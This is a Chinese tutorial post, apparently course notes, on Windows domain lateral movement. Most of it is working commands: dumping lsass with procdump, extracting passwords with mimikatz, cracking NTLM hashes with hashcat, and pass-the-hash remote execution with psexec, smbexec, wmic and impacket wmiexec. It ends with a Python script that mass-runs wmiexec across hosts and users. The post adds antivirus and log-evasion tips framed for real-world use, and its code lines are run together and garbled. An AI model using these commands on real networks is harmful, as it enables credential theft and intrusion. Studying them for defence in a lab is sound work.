【内网安全】域横向smbwmi明文或hash传递
下面講的是psexec&smbexec以及wimc&wmiexec
知識點1:
windows2012以上版本默認關閉wdigest,攻擊者無法從內存中獲取明文密碼 windows2012以下版本如安裝KB2871997補丁,同樣也會導致無法獲取明文密碼 針對以上情況,提供了4鐘方式解決此類問題 1.利用哈希hash傳遞(pth,ptk等)進行移動 2.利用其它服務協議(SMB,WMI等)進行哈希移動 3.利用注冊表操作開啟wdigest Auth值進行獲取 4.利用工具或第三方平臺(Hashcat)進行破解獲取知識點2
windows系統LM Hash 及NTLM Hash加密算法,個人系統在windows vista后,服務器系統在windows 2003以后,認證方式均為NTLM Hash注冊表修改
修改wdigest 改為1reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f案例1-Procdump+Mimikatz配合獲取
如果Mimikatz直接獲取失敗,可以結合Procdump使用
Mimikatz一般在實戰情況下,我們是放在對方服務器的上面運行,如果遠程的被攔截,殺掉,就可以使用Procdump來配合獲取密碼
因為Procdump是windows官方自帶的一款工具,就不會在實戰中出現被攔截的情況
兩步完成利用procdump64+mimikatz獲取win用戶密碼
procdump配合mimikatz
1)導出lsass.exe(管理員權限執行) procdump -accepteula -ma lsass.exe lsass.dmp(在dos下運行,不要在powershell)//運行成功之后就會在當前目錄下生成一個lsass.dmp,這個文件就是密碼哈希值儲存的文件,然后用mimikatz載入進去打開就可以了!2)執行mimikatz(管理員執行)mimikatz上執行:sekurlsa::minidump lsass.dmpsekurlsa::logonPasswords full 或者一句話:mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit實驗:
在window2008中使用procdump獲取lsass.dump文件
在真實機中用mimikatz還原:看看能不能獲得windows2008的明文密碼和hash值
1、打開mimikatz把windows2008中獲得的lsass.dmp復制到win10:
可能會出現error,是因為權限的問題!
?
?mimikatz是在虛擬機中,procdump是在windows10中,在實戰中只需要在對方服務器上上傳procdump即可,再把生成的文件放到本地的mimikatz去還原密碼!!!,它和直接在服務器上運行mimikatz有什么區別?在于它能實現mimikatz在服務器被攔截或者殺掉這種情況。
procdump不存在會被殺毒軟件攔截的情況,這是微軟官方的!
Hashcat破解獲取windows NTML Hash
# Pwdump7
# QuarksPwdump
hashcat -a 0 -m 1000 hash file --force -a 0 表示采用字典破解 -m表示破解的協議 hash就是破解的加密字符串 file就是字典地址 --force爆破1000 表示 NTLM密碼破解全能工具:Hashcat密碼破解攻略 :密碼破解全能工具:Hashcat密碼破解攻略 - FreeBuf網絡安全行業門戶
案例2-域橫向移動SMB服務利用-psexec,smbexec(官方自帶)
psexec是windows官方自帶,不會存在查殺問題,屬于pstools,實戰中就將psexec上傳到攻擊主機上面去,
利用SMB服務可以通過明文或hash傳遞來遠程執行,條件445服務端口開放。 對方開放445端口,就相當于開放了smb協議psexec第一種:先有ipc鏈接,psexec需要明文或hash傳遞
補充:
445漏洞利用之IPC$:
命令:net use (不是net user)
準備:首先在win2003-1下的D盤建立一個共享文件夾叫share
命令功能:將遠程共享文件夾映射到我本地作為一個分區來使用
??? net use? \\10.1.1.2\ipc$ 密碼 /user:用戶
??? =====================================
??? net use f: \\10.1.1.2\share 密碼 /user:用戶
??? net use f: /del
??? net use * /del
??? net use f: \\10.1.1.2\c$ 密碼 /user:用戶(把對方的C$映射到我本地的F盤來使用)
??? c$對于對方來說物理路徑就是C盤,IPC$沒有對應任何一個盤,但是連上后,對方的所有盤你都可以用,雖然沒用物理路徑,其實最厲害。
??? ==========================================
這里我沒有復現成功:(不知道什么原因)《win10上沒有成功,我覺得可能是專業版的問題》
?在兩臺win2003上復現成功!!!
?
psexec第二種:不用建立IPC直接提供明文賬戶密碼(推薦)
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd psexec -hashes :$HASH$ ./administrator@10.1.2.3 psexec -hashes :$HASH$ domain/administrator@10.1.2.3 psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方Pstools無法采用hash連接,需要用工具包復現(在兩臺2003上復現成功)
?
上面是建立在已經知道明文密碼的情況下,如果我沒有明文密碼只有hash怎么辦?
?psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
?
不用工具包的話,官方只提供明文傳輸,上次講的at和schtasks全部用的明文。用第三方庫impacket它是不需要明文密碼也可以連接
同理,今天學習的psexec去連接的時候出現問題,這里使用工具包可以連接
?有明文盡量使用官方文件,如果只有hash,只能使用工具包進行連接了,不過容易被殺!
非官方自帶-參考impacket工具包使用,操作簡單,容易被殺
smbexec無需先ipc鏈接 明文或hash傳遞
smbexec god/administrator:Admin12345@192.168.3.21 smbexec ./administrator:admin!@#45@192.168.3.32 smbexec -hashes :$HASH$ ./admin@192.168.3.21 smbbexec -hashes :$HASH$ domain/admin@192.168.3.21 smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21?連接的時候要注意本地用戶和域用戶的區別!
復現:發現獲得system權限
?
hash傳遞:
案例3-域橫向移動WMI服務利用-cscript,wmiexec,wmic
WMI服務要比SMB服務高級 ,通過135端口進行利用,它的條件比smb低,135開放就行(135端口主要用于使用RPC(Remote Procedure Call,遠程過程調用)
WMI(Windows Management Instrumentation) 是通過135端口進行利用,支持用戶名明文或者hash的方式進行認證,并且該方法不會在目標日志系統留下痕跡。(這種連接在日志中找不到的,上面講到的smb是在日志中找到的,會更加隱匿)
自帶WMIC 明文傳遞(官方) 無回顯
只能明文,沒有hash,缺點是無回顯,就是不會反彈shell給你,就是你的命令結果寫到它的文件夾里面,然后你自己去文件
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt" (連接3.21,當前用戶賬號密碼,連接cmd執行ipconfig,結果保存到c盤1.txt)自帶cscript明文傳遞 有回顯
它有回顯,會直接反彈shell回來,但是它需要借助wmiexec.vbs這個文件(用自帶命令配合一個vbs去運行)
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345套件impacket wmiexec 明文或hash傳遞 有回顯exe版本
優點非常明顯,不僅支持明文還支持hash,還有回顯,缺點就是要進行免殺
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"(連接本地賬號) wmiexec god/administrator:Admin12345@192.168.3.21 "whoami" wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami" wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"?
?思路總結:
如果只能用hash連接,涉及到impacket工具包的時候,但是我免殺也不會,怎么辦?
就會涉及到PTH、PTT、PTK
案例4-域橫向移動以上服務hash批量利用-python編譯exe
pyinstaller.exe -F fuck_neiwang_002.py
import os,time ips={'192.168.3.21','192.168.3.25','192.168.3.29','192.168.3.30','192.168.3.32' } users={'Administrator','boss','dbadmin','fileadmin','mack','mary','webadmin' } hashs={'ccef208c6485269c20db2cad21734fe7','518b98ad4178a53695dc997aa02d455c' }for ip in ips:for user in users:for mimahash in hashs:#wmiexec -hashes :hash god/user@ip whoamiexec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"exec1 = "wmiexec -hashes :"+mimahash+" ./"+user+"@"+ip+" whoami" #連接本地用戶print('--->' + exec + '<---')os.system(exec)time.sleep(0.5)添加一條本地用戶:exec1 = "wmiexec -hashes :"+mimahash+" ./"+user+"@"+ip+" whoami"
這樣就拿下了3.29、3.21、3.32主機
涉及資源:
https://github.com/hashcat/hashcat
https://www.freebuf.com/sectool/164507.html
https://github.com/gentilkiwi/mimikatz/releases
https://github.com/SecureAuthCorplimpacket
https://gitee.com/RichChigga/impacket-examples-windows
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
ProcDump - Windows Sysinternals | Microsoft Docs
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw提取碼: xiao
總結
以上是生活随笔為你收集整理的【内网安全】域横向smbwmi明文或hash传递的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 《大数据》第一届编委会顾问委员会议圆满召
- 下一篇: 中国信通院专家当选ITU-T分布式账本焦